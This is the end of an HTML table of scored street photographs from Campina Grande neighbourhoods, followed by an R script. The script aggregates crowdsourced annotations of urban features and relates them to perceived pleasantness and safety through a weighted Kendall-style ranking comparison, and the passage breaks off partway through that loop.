<td>catole/Rua_Joao_Francisco_Mota__64__90.jpg 7.12222006284 6.42539908438 0.85209418295575</td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg" width="400" height="300"></td>
<td>liberdade/Rua_Sergipe__1337_0.jpg 5.18197674148 4.27472109712 0.84003606005097</td>
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<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg" width="400" height="300"></td>
<td>centro/Rua_Felix_Araujo__132__270.jpg 4.42474214501 3.51691221259 0.762213204001578</td>
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<td>centro/Rua_Manoel_P._de_Araujo__150_90.jpg 2.53450803902 3.05333230698 -0.712399447919758</td>
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<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg" width="400" height="300"></td>
<td>catole/Rua_Otacilio_Nepomuceno__76_0.jpg 5.9616722715 5.31287357564 0.688978471900951</td>
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<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg" width="400" height="300"></td>
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<td>catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg 5.92830119073 5.69161398198 0.316048586936329</td>
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<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg" width="400" height="300"></td>
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<td>centro/Rua_Joao_da_Mata__490_90.jpg 4.81366469353 4.46931221111 0.29726381491243</td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg" width="400" height="300"></td>
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<td>catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 3.7344779369 3.85744538473 -0.233355203990007</td>
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<td>liberdade/Rua_Espirito_Santo__1288__180.jpg 4.68619962308 4.87455217603 -0.193518175508813</td>
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<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg" width="400" height="300"></td>
<td>centro/Rua_Joao_da_Mata__490_270.jpg 4.35388677519 4.07531024107 0.190727419149786</td>
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<td>catole/Rua_Aluisio_Cunha_Linha__50__90.jpg 4.63137207368 4.78600317045 -0.168957326037065</td>
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<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>centro/Rua_Manoel_P._de_Araujo__370_180.jpg 2.45540634991 2.14281588332 0.0248201818527198</td>
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<td>liberdade/Rua_Riachuelo__455__180.jpg 5.54415980113 5.63566982907 -0.0179362063623317</td>
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</table></body>
<file_sep>#!/bin/Rscript
#Reading data
library(ggplot2)
library(gridExtra)
library(dplyr)
library(reshape)
source('analisaICPorFoto.R')
source('convertKendallSummary.R')
facet_names <- list(
'agrad%C3%A1vel?'="Pleasantness",
'seguro?'="Safety"
)
facet_labeller <- function(variable,value){
return(facet_names[value])
}
#dados <- read.table("geral.dat", header=TRUE)
dados <- read.table("geralSetoresAJ.dat", header=TRUE)
#Intervalo de confiança por ponto
temp <- dados
qscoreSim <- temp [ c(4:103) ]
icData <- apply(qscoreSim, 1, ic)
temp$distance <- icData
#Subset of columns
dadosSub <- temp[, c("V2", "V1", "V3", "diag", "hor", "vert", "red", "green", "blue", "grupo", "bairro", "distance", "setor")]
novosDados <- reshape(dadosSub, timevar="grupo", idvar=c("V2", "V1", "diag", "hor", "vert", "red", "green", "blue", "bairro", "setor"), direction="wide")
#Urban Elements
library(dplyr)
library(texreg)
substituiURL <- function(dadosPorGrupo){
localData <- lapply(as.character(dadosPorGrupo$image_url), function (x) paste(strsplit(x, split="/", fixed=TRUE)[[1]][6], "/", strsplit(x, split="/", fixed=TRUE)[[1]][7], sep=""))
local <- unlist(lapply(localData, '[[', 1))
return (local)
}
#Lendo resultados do CrowdFlower
dadosg1 <- read.csv("regressao100/g1.csv")
dadosg1$image_url <- substituiURL(dadosg1)
dadosg2 <- read.csv("regressao100/g2.csv")
dadosg2$image_url <- substituiURL(dadosg2)
dadosg3 <- read.csv("regressao100/g3.csv")
dadosg3$image_url <- substituiURL(dadosg3)
dadosg4 <- read.csv("regressao100/g4.csv")
dadosg4$image_url <- substituiURL(dadosg4)
dadosg5 <- read.csv("regressao100/g5.csv")
dadosg5$image_url <- substituiURL(dadosg5)
dadosg6 <- read.csv("regressao100/g6.csv")
dadosg6$image_url <- substituiURL(dadosg6)
dadosg7 <- read.csv("regressao100/g7.csv")
dadosg7$image_url <- substituiURL(dadosg7)
dadosg8 <- read.csv("regressao100/g8.csv")
dadosg8$image_url <- substituiURL(dadosg8)
dadosg9 <- read.csv("regressao100/g9.csv")
dadosg9$image_url <- substituiURL(dadosg9)
dadosg10 <- read.csv("regressao100/g10.csv")
dadosg10$image_url <- substituiURL(dadosg10)
dadosg11 <- read.csv("regressao100/g11.csv")
dadosg11$image_url <- substituiURL(dadosg11)
dadosg12 <- read.csv("regressao100/g12.csv")
dadosg12$image_url <- substituiURL(dadosg12)
dadosg13 <- read.csv("regressao100/g13.csv")
dadosg13$image_url <- substituiURL(dadosg13)
#Somando esquerda e direita
somaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
dados1[is.na(dados1)] <- 0
dados2[is.na(dados2)] <- 0
soma = dados1 + dados2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
if (is.na(desvio)){
valores = rnorm(mean = mean(soma, na.rm = TRUE), sd = mean(desvios, na.rm = TRUE), n = 3)
valores <- ifelse(valores < 0, 0, valores)
valores <- ifelse(valores > uplimit, uplimit, valores)
return (mean(valores))
}else{
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
}
#Somando esquerda e direita
mediaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
for (i in length(dados1)){
if(is.na(dados1[i])){
dados1[i] <- dados2[i]
}
if(is.na(dados2[i])){
dados2[i] <- dados1[i]
}
}
soma = (dados1 + dados2) / 2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
if (is.na(desvio)){
valores = rnorm(mean = mean(soma, na.rm = TRUE), sd = mean(desvios, na.rm = TRUE), n = 3)
valores <- ifelse(valores < 0, 0, valores)
valores <- ifelse(valores > uplimit, uplimit, valores)
return (mean(valores))
}else{
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
}
#Gerando valores para os casos com apenas 1 resposta a partir do desvio obtido em outras respostas para a mesma questão
geraValores <- function(lista, question, desvios, uplimit){
desvio = sd(lista)
return (mean(lista, na.rm = TRUE))
}
Mode <- function(x) {
ux <- unique(x)
ux[which.max(tabulate(match(x, ux)))]
}
#Agrupando por imagem e por questao - G1
by_image <- group_by(dadosg1, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData1 <- summarise(by_image,
#count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 100),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G2
by_image <- group_by(dadosg2, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData2 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 200),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G3
by_image <- group_by(dadosg3, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData3 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 5),
q1_left = geraValores(question1__left_side, "1l", desvios, 5),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 5),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 5),
q2_left = geraValores(question2__left_side, "2l", desvios, 5),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 5),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 5),
q3_left = geraValores(question3__left_side, "3l", desvios, 5),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 5)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G4
by_image <- group_by(dadosg4, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE))
groupedData4 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 10)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G5
by_image <- group_by(dadosg5, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(your_answer_is, na.rm = TRUE))
groupedData5 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 20),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(your_answer_is, "2", desvios, 20)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G6
by_image <- group_by(dadosg6, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData6 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 1),
q1_left = geraValores(question1__left_side, "1l", desvios, 1),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 1),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G7
by_image <- group_by(dadosg7, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData7 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 3),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 1),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 1),
q3_left = geraValores(question3__left_side, "3l", desvios, 1),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 1)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G8
by_image <- group_by(dadosg8, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2_right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3_right_side, na.rm = TRUE)
)
groupedData8 <- summarise(by_image,
count = n(),
q1 = Mode(question1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2_right_side, desvios$sd2l, desvios$sd2r, 40),
q2_left = geraValores(question2__left_side, "2l", desvios, 20),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2_right_side, "2r", desvios, 20),
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
q3 = somaValores(question3__left_side, question3_right_side, desvios$sd3l, desvios$sd3r, 40),
q3_left = geraValores(question3__left_side, "3l", desvios, 20),
q3_right = geraValores(question3_right_side, "3r", desvios, 20)
)
#Agrupando por imagem e por questao - G9
by_image <- group_by(dadosg9, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE) )
groupedData9 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 200),
q1_left = geraValores(question1__left_side, "1l", desvios, 200),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 200)
#sdq1_right = sd(question1__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G10
by_image <- group_by(dadosg10, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData10 <- summarise(by_image,
count = n(),
q1 = Mode(x = question1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 50),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 1)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G11
by_image <- group_by(dadosg11, image_url)
desvios <- summarise (by_image,
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData11 <- summarise(by_image,
count = n(),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = somaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 80),
q3_left = geraValores(question3__left_side, "3l", desvios, 40),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 40)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G12
by_image <- group_by(dadosg12, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData12 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios,10)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G13
by_image <- group_by(dadosg13, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData13 <- summarise(by_image,
count = n(),
q1 = somaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 30),
q1_left = geraValores(question1__left_side, "1l", desvios, 10),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 15),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Renomeando colunas por grupos
renomeiaGrupos <- function(dadosPorGrupo, listaColunas, idGrupo) {
for (coluna in listaColunas){
colnames(dadosPorGrupo)[colnames(dadosPorGrupo) == coluna] <- paste(idGrupo, coluna, sep="")
}
return(dadosPorGrupo)
}
renomeiaGrupos2 <- function(dadosPorGrupo, listaColunas, novosNomes) {
for (i in seq(1, length(listaColunas))){
coluna = listaColunas[i]
colnames(dadosPorGrupo)[colnames(dadosPorGrupo) == coluna] <- novosNomes[i]
}
return(dadosPorGrupo)
}
groupedData1 <- renomeiaGrupos(groupedData1, c("q2_left", "q2_right", "count"), "g1")
groupedData2 <- renomeiaGrupos(groupedData2, c("q2_left", "q2_right", "count"), "g2")
groupedData3 <- renomeiaGrupos(groupedData3, c("q1_left", "q1_right","q2_left", "q2_right","q3_left", "q3_right", "count"), "g3")
groupedData4 <- renomeiaGrupos(groupedData4, c("count"), "g4")
groupedData5 <- renomeiaGrupos(groupedData5, c("count"), "g5")
groupedData6 <- renomeiaGrupos(groupedData6, c("q1_left", "q1_right", "q2_left", "q2_right", "count"), "g6")
groupedData7 <- renomeiaGrupos(groupedData7, c("q3_left", "q3_right", "count"), "g7")
groupedData8 <- renomeiaGrupos(groupedData8, c("q2_left", "q2_right","q3_left", "q3_right", "count"), "g8")
groupedData9 <- renomeiaGrupos(groupedData9, c("q1_left", "q1_right", "count"), "g9")
groupedData10 <- renomeiaGrupos(groupedData10, c("count"), "g10")
groupedData11 <- renomeiaGrupos(groupedData11, c("q2_left", "q2_right","q3_left", "q3_right", "count"), "g11")
groupedData12 <- renomeiaGrupos(groupedData12, c("q2_left", "q2_right", "count"), "g12")
groupedData13 <- renomeiaGrupos(groupedData13, c("q1_left", "q1_right", "q2_left", "q2_right", "count"), "g13")
groupedData1 <- renomeiaGrupos2(groupedData1, c("q1", "q2", "q3"), c("street_wid", "sidewalk_wid", "public_art"))
groupedData2 <- renomeiaGrupos2(groupedData2, c("q1", "q2", "q3"), c("mov_cars", "park_cars", "mov_ciclyst"))
groupedData3 <- renomeiaGrupos2(groupedData3, c("q1", "q2", "q3"), c("debris", "pavement", "landscape"))
groupedData4 <- renomeiaGrupos2(groupedData4, c("q1", "q2"), c("courtyards", "major_landsc"))
groupedData5 <- renomeiaGrupos2(groupedData5, c("q1", "q2"), c("build_ident", "build_nrectan"))
groupedData6 <- renomeiaGrupos2(groupedData6, c("q1", "q2"), c("prop_street_wall", "prop_wind"))
groupedData7 <- renomeiaGrupos2(groupedData7, c("q1", "q2", "q3"), c("long_sight", "prop_sky_ahead", "prop_sky_across"))
groupedData8 <- renomeiaGrupos2(groupedData8, c("q1", "q2", "q3"), c("graffiti", "trees", "small_planters"))
groupedData9 <- renomeiaGrupos2(groupedData9, c("q1"), c("build_height"))
groupedData10 <- renomeiaGrupos2(groupedData10, c("q1", "q2", "q3"), c("build_diff_ages", "diff_build", "prop_hist_build"))
groupedData11 <- renomeiaGrupos2(groupedData11, c("q2", "q3"), c("outdoor_table", "street_furnit"))
groupedData12 <- renomeiaGrupos2(groupedData12, c("q1", "q2", "q3"), c("basic_col", "lights", "accent_col"))
groupedData13 <- renomeiaGrupos2(groupedData13, c("q1","q2"), c("people", "prop_active_use"))
#Regressao
colnames(novosDados)[colnames(novosDados) == "V2"] <- "image_url"
temp <- merge(groupedData1, novosDados, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData2, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData3, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData4, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData5, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData6, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData7, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData8, by.x="image_url", by.y="image_url")
temp<- merge(temp, groupedData9, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData10, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData11, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData12, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData13, by.x="image_url", by.y="image_url")
temp$area[temp$bairro == "centro"] <- "norte"
temp$area[temp$bairro == "liberdade"] <- "oeste"
temp$area[temp$bairro == "catole"] <- "oeste"
#agrad <- filter(temp, V1 == "agrad%C3%A1vel?")
agrad <- filter(temp, V1 == "agradavel?")
seg <- filter(temp, V1 == "seguro?")
#Kendall adaptation to consider weights as the difference in amount of features between images
kendallWithWeights <- function(data, iterations){
data$graffiti <- as.character(data$graffiti)
data$graffiti[data$graffiti == "No"] <- 0
data$graffiti[data$graffiti == "Yes"] <- 1
data$build_diff_ages <- as.character(data$build_diff_ages)
data$build_diff_ages[data$build_diff_ages == "No"] <- 0
data$build_diff_ages[data$build_diff_ages == "yes"] <- 1
#Amount of images
amountOfItems <- nrow(data)
#Maximum comparisons - worst scenario possible between these two groups!
#data$index2 <- seq(amountOfItems, 1)#Fake index, completely opposite rank!
featuresMapMax <- data.frame(movCars = 0 , parkCars = 0, movCicly= 0, buildId = 0, buildNRec = 0, tree = 0, smallPla = 0, diffBuild = 0, streeFur = 0, basCol = 0, ligh=0, accenCol=0, peop=0, graff=0, buildDiffAges=0, streetWid=0, sidewalkWid=0, debris=0, pavement=0, landscape=0, propStreetWall=0, propWind=0, longSight=0, propSkyAhead=0 , propSkyAcross=0, buildHeight=0, propActiveUse=0)
#Improve? http://stackoverflow.com/questions/6269526/r-applying-a-function-to-all-row-pairs-of-a-matrix-without-for-loop
featuresMapG1 <- data.frame(movCars = 0 , parkCars = 0, movCicly= 0, buildId = 0, buildNRec = 0, tree = 0, smallPla = 0, diffBuild = 0, streeFur = 0, basCol = 0, ligh = 0, accenCol = 0, peop = 0, graff = 0, buildDiffAges = 0, streetWid = 0, sidewalkWid = 0, debris = 0, pavement = 0, landscape = 0, propStreetWall = 0, propWind = 0, longSight = 0, propSkyAhead = 0, propSkyAcross = 0, buildHeight = 0, propActiveUse = 0, rmovCars = 0, rparkCars = 0, rmovCicly = 0, rbuildId = 0, rbuildNRec = 0, rtree = 0, rsmallPla = 0, rdiffBuild = 0, rstreeFur = 0, rbasCol = 0, rligh = 0, raccenCol = 0, rpeop = 0, rgraff = 0, rbuildDiffAges = 0, rstreetWid = 0, rsidewalkWid = 0, rdebris = 0, rpavement = 0, rlandscape = 0, rpropStreetWall = 0, rpropWind = 0, rlongSight = 0, rpropSkyAhead = 0, rpropSkyAcross = 0, rbuildHeight = 0, rpropActiveUse = 0)
movCars <- parkCars <- movCicly<- buildId <- buildNRec <- tree <- smallPla <- diffBuild <- streeFur <- basCol <- ligh <- accenCol<- peop <- graff <- buildDiffAges <- streetWid <- sidewalkWid <- buildHeight <- longSight <- 0
debris <- pavement <- landscape <- propStreetWall <- propWind <- propSkyAhead <- propSkyAcross <- propActiveUse <- c()
movCarsMax <- parkCarsMax <- movCiclyMax <- buildIdMax <- buildNRecMax <- treeMax <- smallPlaMax <- diffBuildMax <- streeFurMax <- basColMax <- lighMax <- accenColMax <- peopMax <- graffMax <- buildDiffAgesMax <- streetWidMax <- sidewalkWidMax <- buildHeightMax <- longSightMax <- 0
debrisMax <- pavementMax <- landscapeMax <- propStreetWallMax <- propWindMax <- propSkyAheadMax <- propSkyAcrossMax <- propActiveUseMax <- c()
#First call, comparing for group 1
data <- arrange(data, rank)
for( i in seq(1, amountOfItems) ){
rankLine1 <- data[i,]
if(i+1 <= amountOfItems){
for( j in seq(i+1, amountOfItems) ){
rankLine2 <- data[j,]
if( (rankLine1[["rank"]] < rankLine2[["rank"]]) & (rankLine1[["index"]] > rankLine2[["index"]]) ){
movCars <- movCars + rankLine1[["mov_cars"]] - rankLine2[["mov_cars"]]
parkCars <- parkCars + rankLine1[["park_cars"]] - rankLine2[["park_cars"]]
movCicly <- movCicly + rankLine1[["mov_ciclyst"]] - rankLine2[["mov_ciclyst"]]
buildId <- buildId + rankLine1[["build_ident"]] - rankLine2[["build_ident"]]
buildNRec <- buildNRec + rankLine1[["build_nrectan"]] - rankLine2[["build_nrectan"]]
tree <- tree + rankLine1[["trees"]] - rankLine2[["trees"]]
smallPla <- smallPla + rankLine1[["small_planters"]] - rankLine2[["small_planters"]]
diffBuild <- diffBuild + rankLine1[["diff_build"]] - rankLine2[["diff_build"]]
streeFur <- streeFur + rankLine1[["street_furnit"]] - rankLine2[["street_furnit"]]
basCol <- basCol + rankLine1[["basic_col"]] - rankLine2[["basic_col"]]
ligh <- ligh + rankLine1[["lights"]] - rankLine2[["lights"]]
accenCol <- accenCol + rankLine1[["accent_col"]] - rankLine2[["accent_col"]]
peop <- peop + rankLine1[["people"]] - rankLine2[["people"]]
graff <- graff + as.integer(rankLine1[["graffiti"]]) - as.integer(rankLine2[["graffiti"]])
buildDiffAges <- buildDiffAges + as.integer(rankLine1[["build_diff_ages"]]) - as.integer(rankLine2[["build_diff_ages"]])
streetWid <- streetWid + as.double(rankLine1[["street_wid"]]) - as.double(rankLine2[["street_wid"]])
sidewalkWid <- sidewalkWid + as.double(rankLine1[["sidewalk_wid"]]) - as.double(rankLine2[["sidewalk_wid"]])
debris <- cbind(debris, as.double(rankLine1[["debris"]]) - as.double(rankLine2[["debris"]]))
pavement <- cbind(pavement, as.double(rankLine1[["pavement"]]) - as.double(rankLine2[["pavement"]]))
landscape <- cbind(landscape, as.double(rankLine1[["landscape"]]) - as.double(rankLine2[["landscape"]]))
propStreetWall <- cbind(propStreetWall, as.double(rankLine1[["prop_street_wall"]]) - as.double(rankLine2[["prop_street_wall"]]))
propWind <- cbind(propWind, as.double(rankLine1[["prop_wind"]]) - as.double(rankLine2[["prop_wind"]]))
longSight <- longSight + as.double(rankLine1[["long_sight"]]) - as.double(rankLine2[["long_sight"]])
propSkyAhead <- cbind(propSkyAhead, as.double(rankLine1[["prop_sky_ahead"]]) - as.double(rankLine2[["prop_sky_ahead"]]))
propSkyAcross <- cbind(propSkyAcross, as.double(rankLine1[["prop_sky_across"]]) - as.double(rankLine2[["prop_sky_across"]]))
buildHeight <- buildHeight + as.double(rankLine1[["build_height"]]) - as.double(rankLine2[["build_height"]])
propActiveUse <- cbind(propActiveUse, as.double(rankLine1[["prop_active_use"]]) - as.double(rankLine2[["prop_active_use"]]))
}
#Accounting differences for max!
movCarsMax <- movCarsMax + abs(rankLine1[["mov_cars"]] - rankLine2[["mov_cars"]])
parkCarsMax <- parkCarsMax + abs(rankLine1[["park_cars"]] - rankLine2[["park_cars"]])
movCiclyMax <- movCiclyMax + abs(rankLine1[["mov_ciclyst"]] - rankLine2[["mov_ciclyst"]])
buildIdMax <- buildIdMax + abs(rankLine1[["build_ident"]] - rankLine2[["build_ident"]])
buildNRecMax <- buildNRecMax + abs(rankLine1[["build_nrectan"]] - rankLine2[["build_nrectan"]])
treeMax <- treeMax + abs(rankLine1[["trees"]] - rankLine2[["trees"]])
smallPlaMax <- smallPlaMax + abs(rankLine1[["small_planters"]] - rankLine2[["small_planters"]])
diffBuildMax <- diffBuildMax + abs(rankLine1[["diff_build"]] - rankLine2[["diff_build"]])
streeFurMax <- streeFurMax + abs(rankLine1[["street_furnit"]] - rankLine2[["street_furnit"]])
basColMax <- basColMax + abs(rankLine1[["basic_col"]] - rankLine2[["basic_col"]])
lighMax <- lighMax + abs(rankLine1[["lights"]] - rankLine2[["lights"]])
accenColMax <- accenColMax + abs(rankLine1[["accent_col"]] - rankLine2[["accent_col"]])
peopMax <- peopMax + abs(rankLine1[["people"]] - rankLine2[["people"]])
graffMax <- graffMax + abs(as.integer(rankLine1[["graffiti"]]) - as.integer(rankLine2[["graffiti"]]))
buildDiffAgesMax <- buildDiffAgesMax + abs(as.integer(rankLine1[["build_diff_ages"]]) - as.integer(rankLine2[["build_diff_ages"]]))
streetWidMax <- streetWidMax + abs(as.double(rankLine1[["street_wid"]]) - as.double(rankLine2[["street_wid"]]))
sidewalkWidMax <- sidewalkWidMax + abs(as.double(rankLine1[["sidewalk_wid"]]) - as.double(rankLine2[["sidewalk_wid"]]))
debrisMax <- cbind(debrisMax, abs(as.double(rankLine1[["debris"]]) - as.double(rankLine2[["debris"]])))
